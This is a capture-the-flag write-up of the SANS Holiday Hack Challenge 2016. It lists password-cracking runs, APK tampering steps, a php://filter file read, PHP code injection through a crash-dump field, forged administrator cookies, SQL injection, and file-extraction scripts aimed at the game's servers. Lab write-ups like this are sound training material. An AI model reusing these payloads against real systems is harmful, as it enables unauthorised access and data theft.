You are on page 1of 31

SANS Holiday Hack Challenge 2016 "Santa's Business Card" - writeup

Part 1: A Most Curious Business Card


1) What is the secret message in Santa's tweets?
bug bounty
a total of 348 tweets @ https://twitter.com/santawclaus
code listing under Appendix section

2) What is inside the ZIP file distributed by Santa's team?


SantaGram_4.2.apk
image @ https://www.instagram.com/p/BNpA2kEBF85
direct link @
https://scontent-sin6-1.cdninstagram.com/t51.2885-15/e35/15275692_1825886877683854_211464
858007240704_n.jpg?ig_cache_key=MTM5ODY1MjkwODg0OTA5NDQ1Nw%3D%3D.2

archive filename: SantaGram_v4.2.zip on laptop screen


URL: www.northpolewonderland.com on Nmap scan report
=> http://www.northpolewonderland.com/SantaGram_v4.2.zip
$ zip2john SantaGram_v4.2.zip >SantaGram_v4.2.zip.hash && john
SantaGram_v4.2.zip.hash && cat john.pot
ver 2.0 efh 5455 efh 7875 SantaGram_v4.2.zip->SantaGram_4.2.apk PKZIP
Encr: 2b chk, TS_chk, cmplen=1962826, decmplen=2257390, crc=EDE16A54
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bugbounty
(SantaGram_v4.2.zip)
1g 0:00:02:00 DONE 3/3 (2017-01-02 14:15) 0.008310g/s 31953Kp/s 31953Kc/s
31953KC/s bunghisc2..bugbudsai
Use the "--show" option to display all of the cracked passwords reliably
Session completed
2

$pkzip2$1*2*2*0*1df34a*2271ee*ede16a54*0*4b*8*1df34a*ede1*45ec*a9e4d5fbcc
d3ed909cfab044ec6e37b82318b565ef029f69c1c1ff17b4847d172f7b15f60c059931939
98054b8af5b2c6c6d619629a69f17554eed977dde48fd9e9863bfd78922be1d9b6e90ed33
0e5b6989a484bfa2878200b1721be9b9580d429e94c6b56cc287f65656453f87c6a4169a6
4a5bc6136f841b9da6e328b532fa77f20be241c758d2589bf77a50a96c8349e76737f695c
9a9af3fb264918ddc4ccdc04e2673c2ae4242ab53c6bff0e98cc9ed9b262a4fbead35a96e
f0896345b6474b89f7cd82c47e4e0d3dee5a46e240688f4eb6ba5954856c10f52db84294f
17af606017572f76478489232fe239aaa913dda98dc40919425a55b822e7e7614221f1478
b8554c412a28d1f303e8806f2327306456c7eefd9a0ddc7998fbc33cc9e57d5a644281c01
d0f36b76b5381581d95a98026260b0b8effdb0e92158c5e2d338641c4206963363ba1035a
962a5df60e79c7252045931155eb1b1cac17d9fd1a0c2c84a42db3f7679411d057b2f04cf
00597b5b3eeb631b95cc4e9d9f313d68968fcac8919865f0$SOURCE_HASH$7797c24e0a54
abf3798941e68aa0fcb9:bugbounty
zip password: bugbounty
Part 2: Awesome Package Konveyance
3) What username and password are embedded in the APK file?
username: guest
password: busyreindeer78
use jadx, or free online service @ http://www.javadecompilers.com/apk
com.northpolewonderland.santagram.SplashScreen:
jSONObject.put("username", "guest");
jSONObject.put("password", "busyreindeer78");
4) What is the name of the audible component (audio file) in the SantaGram APK file?
discombobulatedaudio1.mp3
use apktool, or free online service @ http://www.javadecompilers.com/apk
SantaGram_4.2.apk:/res/raw/discombobulatedaudio1.mp3

Part 3: A Fresh-Baked Holiday Pi


5) What is the password for the "cranpi" account on the Cranberry Pi system?
yummycookies
$ 7za x https://www.northpolewonderland.com/cranbian.img.zip
$ fdisk -l cranbian-jessie.img
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5a7089a1
Device
Boot Start
End Sectors Size Id Type
cranbian-jessie.img1
8192 137215 129024
63M c W95 FAT32 (LBA)
cranbian-jessie.img2
137216 2713599 2576384 1.2G 83 Linux
$ mkdir img2 && sudo mount cranbian-jessie.img -o
loop,offset=$((512*137216)) img2
$ sudo unshadow img2/etc/passwd img2/etc/shadow >img2-passwd+shadow.txt
cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnid
xinanEhahBINm/2YyjFihxg7tgc343b0:1000:1000:,,,:/home/cranpi:/bin/bash
$ hashcat64.bin -m1800 -a0 img2-passwd+shadow.txt
[rockyou.txt](http://downloads.skullsecurity.org/passwords/rockyou.txt.bz
2)
$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEh
ahBINm/2YyjFihxg7tgc343b0:yummycookies
6) How did you open each terminal door and where had the villain imprisoned Santa?
https://docker2016.holidayhackchallenge.com:60001
HELP
!
./ActivateTrain

https://docker2016.holidayhackchallenge.com:60002
$ sudo -u itchy /usr/sbin/tcpdump -r /out.pcap -w - 2>/dev/null
out.pcap
GET /firsthalf.html HTTP/1.1
<input type="hidden" name="part1" value="santasli" />
GET /secondhalf.bin HTTP/1.1
strings -e l secondhalf.bin
part2:ttlehelper
santaslittlehelper
https://docker2016.holidayhackchallenge.com:60003
/home/elf/.doormat/. / /\/\\/Don't Look Here!/You are
persistent, aren't you?/'/key_for_the_door.txt:
key: open_sesame
https://docker2016.holidayhackchallenge.com:60004
exfiltrate1 /home/elf/wumpus
chmod 0775 wumpus && gdb -q ./wumpus
(gdb) b *main
Breakpoint 1 at 0x400d26
(gdb) r
Starting program: wumpus
(gdb) print kill_wump()
*thwock!* *groan* *crash*
A horrible roar fills the cave, and you realize, with a smile,
that you have slain the evil Wumpus and won the game! You don't
want to tarry for long, however, because not only is the Wumpus
famous, but the stench of dead Wumpus is also quite well known,
a stench plenty enough to slay the mightiest adventurer at a
single whiff!!
Passphrase: WUMPUS IS MISUNDERSTOOD

code listing under Appendix section

https://docker2016.holidayhackchallenge.com:60005
wargames script @
https://raw.githubusercontent.com/abs0/wargames/master/wargames.sh
Hello.
I'm fine. How are you?
People sometimes make mistakes.
Love to. How about Global Thermonuclear War?
Later. Let's play Global Thermonuclear War.
2
Las Vegas
LAUNCH INITIATED, HERE'S THE KEY FOR YOUR TROUBLE:
LOOK AT THE PRETTY LIGHTS
Press Enter To Continue
Part 4: My Gosh... It's Full of Holes
7) For each of these six items, which vulnerabilities did you discover and exploit?
1. The Mobile Analytics Server (via credentialed login access)
2. The Dungeon Game
3. The Debug Server
4. The Banner Ad Server
5. The Uncaught Exception Handler Server
6. The Mobile Analytics Server (post authentication)
URLs discovered from SantaGram_4.2.apk:/res/values/strings.xml
<string
name="analytics_launch_url">https://analytics.northpolewonderland.com/rep
ort.php?type=launch</string>
<string
name="analytics_usage_url">https://analytics.northpolewonderland.com/repo
rt.php?type=usage</string>
<string
name="dungeon_url">http://dungeon.northpolewonderland.com/</string>
<string
name="debug_data_collection_url">http://dev.northpolewonderland.com/index
.php</string>
<string
name="banner_ad_url">http://ads.northpolewonderland.com/affiliate/C9E380C
8-2244-41E3-93A3-D6C6700156A5</string>
<string
name="exhandler_url">http://ex.northpolewonderland.com/exception.php</str
ing>

1. The Mobile Analytics Server (via credentialed login access)


analytics.northpolewonderland.com
login @ https://analytics.northpolewonderland.com/login.php
user login credentials from Q3
username: guest
password: busyreindeer78
discombobulatedaudio2.mp3 @
https://analytics.northpolewonderland.com/getaudio.php?id=20c216bc-b8b1-11e6-89e1-420
10af00008
2. The Dungeon Game
dungeon.northpolewonderland.com
Nmap scan reports port 11111 is open; hosting the online version of the game
$ nmap -sT dungeon.northpolewonderland.com
Nmap scan report for dungeon.northpolewonderland.com
(35.184.47.139)
...
11111/tcp open vce
...

$ nc dungeon.northpolewonderland.com 11111
"Dungeon" ~ Zork I @ https://github.com/devshane/zork
in-game debugger GDT, according to http://gunkies.org/wiki/Zork_hints
GDT>DT; Entry: 119 or 10242
these are the only two entries that differ between the online and offline versions

#119: Suddenly a sinister, wraithlike figure, cloaked and hooded, appears


seeming to float in the air before you. In a low, almost inaudible voice
he says, "I welcome you to the ranks of the chosen of Zork. You have
persisted through many trials and tests and have overcome them all. One
such as yourself is fit to join even the implementers!" He then raises
his oaken staff and, chuckling, drifts away like a wisp of smoke, his
laughter fading in the distance. When the smoke clears, the phrase "send
email to peppermint@northpolewonderland.com" is all that remains.

#1024: The elf, satisified with the trade says - send email to
"peppermint@northpolewonderland.com" for that which you seek.

code listing under Appendix section

3. The Debug Server


dev.northpolewonderland.com/index.php
expected parameters
JSON keys in com.northpolewonderland.santagram.EditProfile:
protected void onCreate(Bundle bundle) {
...
JSONObject jSONObject = new JSONObject();
jSONObject.put("date", new
SimpleDateFormat("yyyyMMddHHmmssZ").format(Calendar.getInstance().getTime
()));
jSONObject.put("udid", Secure.getString(getContentResolver(),
"android_id"));
jSONObject.put("debug", getClass().getCanonicalName() + ", " +
getClass().getSimpleName());
jSONObject.put("freemem", Runtime.getRuntime().totalMemory() Runtime.getRuntime().freeMemory());
...

tamper with APK, via apktool


1. apktool decode SantaGram_4.2.apk
2. SantaGram_4.2.apk/res/values/string.xml
<string name="debug_data_enabled">false</string>
...to...
<string name="debug_data_enabled">true</string>
3. apktool build SantaGram_4.2
4. keytool -genkey -v -keystore key.keystore -alias alias -keyalg
RSA -keysize 4096 -validity 10240
5. jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1
-keystore key.keystore SantaGram_4.2/dist/SantaGram_4.2.apk
alias
6. zipalign -v 4 SantaGram_4.2/dist/SantaGram_4.2.apk
SantaGram_4.2/dist/SantaGram_4.2-aligned.apk
7. adb install -r -d SantaGram_4.2/dist/SantaGram_4.2-aligned.apk
sniff traffic - Burp Suite @ https://portswigger.net/burp
Android mobile phone emulator - Genymotion @ https://www.genymotion.com
v4.3 (API level 18) + ARM translation patch v1.1
$ curl -X POST -H "Content-Type: application/json" -sL
"http://dev.northpolewonderland.com/index.php" -d
"{\"date\":null,\"udid\":null,\"debug\":\"com.northpolewonderland.san
tagram.EditProfile, EditProfile\",\"freemem\":-1 ,\"verbose\":true}"
| jq -rc .
{"date":"20161225000000","date.len":14,"status":"OK","status.len":"2","fi
lename":"debug-20161225000000-0.txt","filename.len":26,"request":{"date":
null,"udid":null,"debug":"com.northpolewonderland.santagram.EditProfile,
EditProfile","freemem":-1,"verbose":true},"files":["debug-201612242359590.mp3","debug-20161225000000-0.txt","index.php"]}
$ wget http://dev.northpolewonderland.com/debug-20161224235959-0.mp3

4. The Banner Ad Server


ads.northpolewonderland.com
Mining Meteor @ https://pen-testing.sans.org/blog/2016/12/06/mining-meteor
MeteorMiner Tampermonkey script @ https://github.com/nidem/MeteorMiner
either on webpage @ http://ads.northpolewonderland.com or
http://ads.northpolewonderland.com/admin/quotes
in web JS console:
console.log(JSON.stringify(HomeQuotes.find().fetch()))
[{"_id":"drsCoXaLaitrx2xJP","index":0,"quote":"Never
Tired","hidden":false},{"_id":"ncN8EozkRGuq3hmd6","index":1,"q
uote":"Never the
Same!","hidden":false},{"_id":"qLqMmQFCurmaptYPj","index":2,"q
uote":"Making Ads Great
Again!","hidden":false},{"_id":"zC3qjywazw6vTorZQ","index":3,"
quote":"Is anyone actually reading
this?","hidden":false},{"_id":"zPR5TpxB5mcAH3pYk","index":4,"q
uote":"Just Ad
It!","hidden":true,"audio":"/ofdAR4UYRaeNxMg/discombobulatedau
dio5.mp3"}]
$ wget
http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaud
io5.mp3

10

5. The Uncaught Exception Handler Server


ex.northpolewonderland.com/exception.php
$ curl -X POST -H "Content-Type: application/json" -sL
http://ex.northpolewonderland.com/exception.php -d
"{\"operation\":\"ReadCrashDump\",\"data\":{\"crashdump\":\"php://fil
ter/convert.base64-encode/resource=exception\"}}" | base64 -d
...
# Audio file from Discombobulator in webroot:
discombobulated-audio-6-XyzE3N9YqKNH.mp3
...
$ MSG="');echo
base64_encode(file_get_contents(str_replace('\\\','','../discombobula
ted-audio-6-XyzE3N9YqKNH.mp3')));print('" && cid=$(curl -X POST -H
"Content-Type: application/json" -sL
"http://ex.northpolewonderland.com/exception.php" -d
"{\"operation\":\"WriteCrashDump\",\"data\":{\"message\":\"${MSG}\"}}
" | jq -r .crashdump | cut -d- -f2 | cut -d. -f1) && curl -X POST -H
"Content-Type: application/json" -sL
"http://ex.northpolewonderland.com/exception.php" -d
"{\"operation\":\"ReadCrashDump\",\"data\":{\"crashdump\":\"crashdump
-${cid}\"}}" | jq -r .message | base64 -d
>discombobulated-audio-6-XyzE3N9YqKNH.mp3

11

6. The Mobile Analytics Server (post authentication)


analytics.northpolewonderland.com
Nmap scan reports exposed Git repository @ https://analytics.northpolewonderland.com/.git
$ nmap -A analytics.northpolewonderland.com
Nmap scan report for analytics.northpolewonderland.com
(104.198.252.157)
...
443/tcp open ssl/http nginx 1.6.2
| http-git:
|
104.198.252.157:443/.git/
|
Git repository found!
|
Repository description: Unnamed repository; edit this file
'description' to name the...
|_
Last commit message: Finishing touches (style, css, etc)
...
GitTools @ https://github.com/internetwache/GitTools
$ git init && /GitTools/Dumper/gitdumper.sh
https://analytics.northpolewonderland.com/.git/ .
exploit
second-order SQL injection
mass assignment
craft administrator AUTH cookie
<?
define("KEY",
"\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");
function encrypt($data) {
return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, "stream");
}
$auth = encrypt(json_encode([
"username" => "administrator",
"date" => date(DateTime::ISO8601)
]));
echo "Cookie: AUTH=".bin2hex($auth);
?>

12

generate a query report UUID via /query.php


REPORT_ID=$(curl -X POST -H "Cookie:
AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384
f6e7bca04d86e573b965cf9c6549b9494c6063a50b63b71976884152" -ksL
"https://analytics.northpolewonderland.com/query.php" -d
"date=2016-12-24&type=launch&field%5B%5D=udid&modifier%5B%5D=eq&value%5B%
5D=&save=on" | perl -ne 'print "$1" if
m/view.php\?id=([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{
12})/')
craft SQL query via /edit.php
urlencode () {echo $(node -p "encodeURIComponent('$(sed "s/'/\\\'/g"
"$@")')")}
curl -H "Cookie:
AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384
f6e7bca04d86e573b965cf9c6549b9494c6063a50b63b71976884152" -ksL
"https://analytics.northpolewonderland.com/edit.php?id=${REPORT_ID}&name=
&description=&query=$(echo 'SELECT `id`,`username`, `filename`,
TO_BASE64(mp3) FROM `audio` WHERE `username`='\''administrator'\''' |
urlencode)" | w3m -dump -T text/html
execute payload via /view.php
echo "https://analytics.northpolewonderland.com/view.php?id=${REPORT_ID}"
id
20c216bc-b8b1-11e6-89e1-42010af00008

username
guest

3746d987-b8b1-11e6-89e1-42010af00008 administrator

filename
discombobulatedaudio2.mp3
discombobulatedaudio7.mp3

aside
uid

username

password

administrator

KeepWatchingTheSkies

guest

busyreindeer78

13

8) What are the names of the audio files you discovered from each system above? There are a total
of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the
bullet list above.)
1. discombobulatedaudio1.mp3
2. discombobulatedaudio2.mp3
3. discombobulatedaudio3.mp3
4. debug-20161224235959-0.mp3
5. discombobulatedaudio5.mp3
6. discombobulated-audio-6-XyzE3N9YqKNH.mp3
7. discombobulatedaudio7.mp3
Part 5: Discombobulated Audio
9) Who is the villain behind the nefarious plot?
Dr. Who
fix audio - Audacity > Effect > Change Tempo... Percent Change: 1093.8
quote - "Father Christmas, Santa Claus. Or, as I've always known him, Jeff."
@ http://www.imdb.com/title/tt1672218/quotes?item=qt1395415
original audio https://www.youtube.com/watch?v=sedD40sEb8M&t=1m18s
from "Doctor Who - A Christmas Carol (2010)"
10) Why had the villain abducted Santa?
<Dr. Who> - The answer: Do I look like I'm in my right mind? I'm a madman with a box.
<Dr. Who> - I have looked into the time vortex and I have seen a universe in which the Star
Wars Holiday Special was NEVER released. In that universe, 1978 came and went as normal.
No one had to endure the misery of watching that abominable blight. People were happy
there. It's a better life, I tell you, a better world than the scarred one we endure here.
<Dr. Who> - Give me a world like that. Just once.
<Dr. Who> - So I did what I had to do. I knew that Santa's powerful North Pole Wonderland
Magick could prevent the Star Wars Special from being released, if I could leverage that
magick with my own abilities back in 1978. But Jeff refused to come with me, insisting on the
mad idea that it is better to maintain the integrity of the universe's timeline. So I had no
choice - I had to kidnap him.
...

14

Appendix
Code listing - t-santawclaus.js
#!/usr/bin/env python
#-*- coding: utf-8 -*import
import
import
import
import

sys
codecs
json
datetime
tweepy

sys.stdout = codecs.getwriter("utf-8")(sys.stdout)
sys.stderr = codecs.getwriter("utf-8")(sys.stderr)
if __name__ == "__main__":
consumer_key = "<redacted>"
consumer_secret = "<redacted>"
access_tok = "<redacted>"
access_tok_secret = "<redacted>"
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_tok, access_tok_secret)
api = tweepy.API(auth)
screen_name = "santawclaus"
pg = 1
while True:
tweets = api.user_timeline(screen_name=screen_name, count=200,
page=pg)
if len(tweets) == 0: break
for tweet in tweets:
print "%s\t%d\t%s"%(tweet.id_str,
(tweet.created_at-datetime.datetime(1970,1,1)).total_seconds(),
tweet.text)
pg += 1
Code listing - docker2016-exfil.js
#!/usr/bin/env node
"use strict";
const fs = require("fs-extra");
const path = require("path");
// socket.io-client@1.3.5
const io = require("socket.io-client");
15

const zlib = require("zlib");


let buf="", port, filepath;
//
//
//
//

port = 60001; // conductor


filepath = "$HOME/Train_Console";
filepath = "$HOME/TrainHelper.txt";
filepath = "$HOME/ActivateTrain";

// port = 60002; // scratchy; itchy


// port = 60003;
// port = 60004; // elf
// filepath = "$HOME/wumpus";
port = 60005;
if (filepath) {
const filedir = path.dirname(filepath);
const filename = path.basename(filepath);
const basename = path.basename(filename, path.extname(filename));
}
if (!port) {process.exit(1);}
const loc = `https://docker2016.holidayhackchallenge.com:${port}`;
const socket = io(loc,
{path:"/wetty/socket.io",query:"param=undefined"});
socket.on("connect", ()=>{
let cmds = [];
if (port === 60001) {
cmds = [
`HELP\r`, `!\r`,
`echo -n "#######" && cat -- ${filepath}|gzip|base64 -w0 && echo -n
"#######"\r`
];
} else if (port === 60002) {
cmds = [
[
`echo -n "#######"`,
`sudo -u itchy /usr/sbin/tcpdump -r /out.pcap -w 2>/dev/null|gzip|base64 -w0`,
`echo -n "#######"`
].join("&&") + `\r`
16

];
} else if (port === 60003) {
socket.emit("input",`egrep -r . $HOME/.doormat\r`);
cmds = [
[
`echo -n "#######"`,
`find $HOME/.doormat -type f -exec cat {} \\;|gzip|base64 -w0`,
`echo -n "#######"`
].join("&&") + `\r`
];
// /home/elf/.doormat/. / /\/\\/Don't Look Here!/You are persistent,
aren't you?/'/key_for_the_door.txt:
// key: open_sesame
} else if (port === 60004) {
cmds = [
`echo -n "#######" && cat -- ${filepath}|gzip|base64 -w0 && echo -n
"#######"\r`
];
} else if (port === 60005) {
} else {process.exit(1);}
cmds.forEach(cmd=>socket.emit("input",cmd));
});
let wg_step = 0; // port===60005
const idx_all=(arr,val)=>{var
indexes=[],i=-1;while((i=arr.indexOf(val,i+1))!=-1){indexes.push(i)}retur
n indexes}
socket.on("output", data=>{
buf += data.replace(/(\r\n?)/g,"").trim();
if (port === 60005) {
const output = buf
.replace(/\u0007{2}/g," ") // whitespace
.replace(/\u0007/g,"")
.replace(/[^\x20-\x7e]/g,"") // non-ascii
.replace(/^([^\[]*\[3;J\[H\[2J)/,"") // pre-amble
.trim();
console.log(wg_step, output);
if (wg_step===0 && output.endsWith("GREETINGS PROFESSOR FALKEN.")) {
socket.emit("input", "Hello.\r");
wg_step++; buf="";
} else if (wg_step===1 && output.endsWith("HOW ARE YOU FEELING
TODAY?")) {
17

socket.emit("input", "I'm fine. How are you?\r");


wg_step++; buf="";
} else if (wg_step===2 && output.endsWith("EXCELLENT, IT\'S BEEN A
LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON
6/23/73?")) {
socket.emit("input", "People sometimes make mistakes.\r");
wg_step++; buf="";
} else if (wg_step===3 && output.endsWith("YES THEY DO. SHALL WE PLAY
A GAME?")) {
socket.emit("input", "Love to. How about Global Thermonuclear
War?\r");
wg_step++; buf="";
} else if (wg_step===4 && output.endsWith("WOULDN'T YOU PREFER A GOOD
GAME OF CHESS?")) {
socket.emit("input", "Later. Let's play Global Thermonuclear
War.\r");
wg_step++; buf="";
} else if (wg_step===5 && output.endsWith("PLEASE CHOOSE ONE:")) {
socket.emit("input", "2\r");
wg_step++; buf="";
} else if (wg_step===6 && output.endsWith("PLEASE LIST PRIMARY
TARGETS BY CITY AND/OR COUNTRY NAME:")) {
socket.emit("input", "Las Vegas\r");
wg_step++; buf="";
} else if (wg_step===7 && output.endsWith("Press Enter To Continue"))
{process.exit();}
} else {
const patt = /#{7}([A-Za-z\d+/=]+)#{7}/;
if (patt.test(buf)) {
const m = buf.match(patt);
if (m) {
const bin = zlib.gunzipSync(new Buffer(m[1],"base64"));
console.log(bin.toString("hex")); // xxd -r -p
// fs.writeFileSync("output", bin);
}
process.exit();
}
}
});
socket.on("connect_error", msg=>{console.error("conn_err:",msg);});
socket.on("connect_timeout", msg=>{console.error("conn_timeout:",msg);});
socket.on("disconnect", ()=>{console.error("conn_closed");});
18

Code listing - docker2016-exfil.py


#!/usr/bin/env python
#-*- coding: utf-8 -*import re
import sys
import base64
import zlib
import binascii
from socketIO_client import SocketIO
port, filepath = 60004, "$HOME/wumpus"
loc = "https://docker2016.holidayhackchallenge.com/wetty/socket.io"
socketIO = SocketIO(loc, port, params={"param":"undefined"},
verify=False)
def on_connect():
socketIO.emit("input",
"echo -n \"#######\" && cat -- %s|gzip|base64 -w0 && echo -n
\"#######\"\r"%filepath)
buf = ""
def on_output(args):
global buf
buf += args
m = re.search(r"#{7}([A-Za-z\d+/=]+)#{7}", buf)
if m:
data = m.group(1)
data = base64.b64decode(data)
data = zlib.decompress(data, zlib.MAX_WBITS|16)
print binascii.hexlify(data)
sys.exit()
if __name__ == "__main__":
socketIO.on("connect", on_connect)
socketIO.on("output", on_output)
socketIO.wait()

19

Locations of the 20 NetWars coins

20

21

22

23

24

25

26

27

28

Table 1 - 20 NetWars coins


No

Image

Year

01

NW_COIN

34

228

1978

02

NW_COIN

109

295

1978

03

NW_COIN

157

102

1978

04

NW_COIN

185

145

1978

05

NW_COIN

214

59

1978
29

06

NW_COIN_HALF

215

275

1978

07

NW_COIN_ARMOR

266

86

1978

08

NW_COIN_ROOF

86

191

2016

09

NW_COIN

117

252

2016

10

NW_COIN

142

83

2016

11

NW_COIN_SMALL_TREEHOUSE

161

184

2016

12

NW_COIN

167

142

2016

13

NW_COIN_COUCH

167

221

2016

14

NW_COIN_RACK

175

228

2016

15

NW_COIN

187

61

2016

16

NW_COIN_HALF

208

238

2016

17

NW_COIN_TROUGH

232

229

2016

18

NW_COIN

237

32

2016

19

NW_COIN

243

152

2016

20

NW_COIN_CRATE

278

170

2016

Code listing - screenshot.js


f=(x,y)=>{app.game.makeCharacterTeleportTo(app.game.player,x,y);node=docu
ment.getElementById("notifications");while(node.firstChild){node.removeCh
ild(node.firstChild);}app.game.cursorVisible=false;Object.entries(app.gam
e.entities).filter(kv=>kv[1].kind==="PLAYER"&&kv[1].id!==app.game.playerI
d).forEach(kv=>{kv[1].gridX=0;kv[1].gridY=0;});};app.game.player.year=197
8/*2016*/;x=,y=;f(x,y);
Code listing - replace-nw-coin-sprite-w-pi-board.js
Object.keys(Types.Items).filter(k=>k.startsWith("NW_COIN")).forEach(k=>{[
"sprite","json"].forEach(kk=>{Types.Items[k][kk]=Types.Items.PI_BOARD[kk]
;});});

30

Code listing - dungeon.northpolewonderland.com-DT-dmp.py


#!/usr/bin/env python
#-*- coding: utf-8 -*import re
import sys
import string
import base64
import logging
# sudo apt-get -y install python-pip python-openssl libssl-dev && sudo
pip install -U pwntools
from pwn import *
context.log_level = logging.CRITICAL
delim_gdt = "GDT>"
def connect():
# r = process("./dungeon")
r = remote("dungeon.northpolewonderland.com", 11111)
r.recvuntil(">")
r.sendline("GDT")
r.recvuntil(delim_gdt)
return r
if __name__ == "__main__":
r = connect()
r.sendline("DL")
m = re.search(r"M=(\d+)", r.recvuntil(delim_gdt))
if not m: sys.exit(1)
lim = int(m.group(1))
for i in xrange(lim,-1,-1):
try:
r.sendline("DT")
r.recvuntil("Entry:")
r.sendline(str(i))
msg = r.recvuntil(delim_gdt).strip()
if msg.endswith(delim_gdt):
msg = msg[:-len(delim_gdt)].strip()
if msg and all(c in string.printable for c in msg):
print "[%d]: %s"%(i,msg)
except:
r.close()
r = connect()

31

You might also like